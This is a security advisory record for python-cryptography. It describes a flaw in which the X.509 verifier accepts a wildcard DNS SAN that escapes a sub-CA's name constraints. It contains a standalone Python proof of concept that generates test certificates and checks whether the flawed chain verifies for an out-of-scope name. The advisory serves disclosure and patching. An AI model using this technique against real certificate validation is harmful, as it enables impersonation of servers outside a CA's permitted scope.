{"id":"PYSEC-2026-3554","summary":"python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees","details":"### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.","aliases":["CVE-2026-69248","GHSA-m2h6-j472-rp4c"],"modified":"2026-08-04T14:30:26.230323446Z","published":"2026-08-04T11:34:48.085980Z","references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/14888"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"PACKAGE","url":"https://pypi.org/project/cryptography"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248"}],"affected":[{"package":{"name":"cryptography","ecosystem":"PyPI","purl":"pkg:pypi/cryptography"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"49.0.0"}]}],"versions":["0.1","0.2","0.2.1","0.2.2","0.3","0.4","0.5","0.5.1","0.5.2","0.5.3","0.5.4","0.6","0.6.1","0.7","0.7.1","0.7.2","0.8","0.8.1","0.8.2","0.9","0.9.1","0.9.2","0.9.3","1.0","1.0.1","1.0.2","1.1","1.1.1","1.1.2","1.2","1.2.1","1.2.2","1.2.3","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.5","1.5.1","1.5.2","1.5.3","1.6","1.7","1.7.1","1.7.2","1.8","1.8.1","1.8.2","1.9","2.0","2.0.1","2.0.2","2.0.3","2.1","2.1.1","2.1.2","2.1.3","2.1.4","2.2","2.2.1","2.2.2","2.3","2.3.1","2.4","2.4.1","2.4.2","2.5","2.6","2.6.1","2.7","2.8","2.9","2.9.1","2.9.2","3.0","3.1","3.1.1","3.2","3.2.1","3.3","3.3.1","3.3.2","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.7","3.4.8","35.0.0","36.0.0","36.0.1","36.0.2","37.0.0","37.0.1","37.0.2","37.0.3","37.0.4","38.0.0","38.0.1","38.0.2","38.0.3","38.0.4","39.0.0","39.0.1","39.0.2","40.0.0","40.0.1","40.0.2","41.0.0","41.0.1","41.0.2","41.0.3","41.0.4","41.0.5","41.0.6","41.0.7","42.0.0","42.0.1","42.0.2","42.0.3","42.0.4","42.0.5","42.0.6","42.0.7","42.0.8","43.0.0","43.0.1","43.0.3","44.0.0","44.0.1","44.0.2","44.0.3","45.0.0","45.0.1","45.0.2","45.0.3","45.0.4","45.0.5","45.0.6","45.0.7","46.0.0","46.0.1","46.0.2","46.0.3","46.0.4","46.0.5","46.0.6","46.0.7","47.0.0","48.0.0","48.0.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/cryptography/PYSEC-2026-3554.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}]}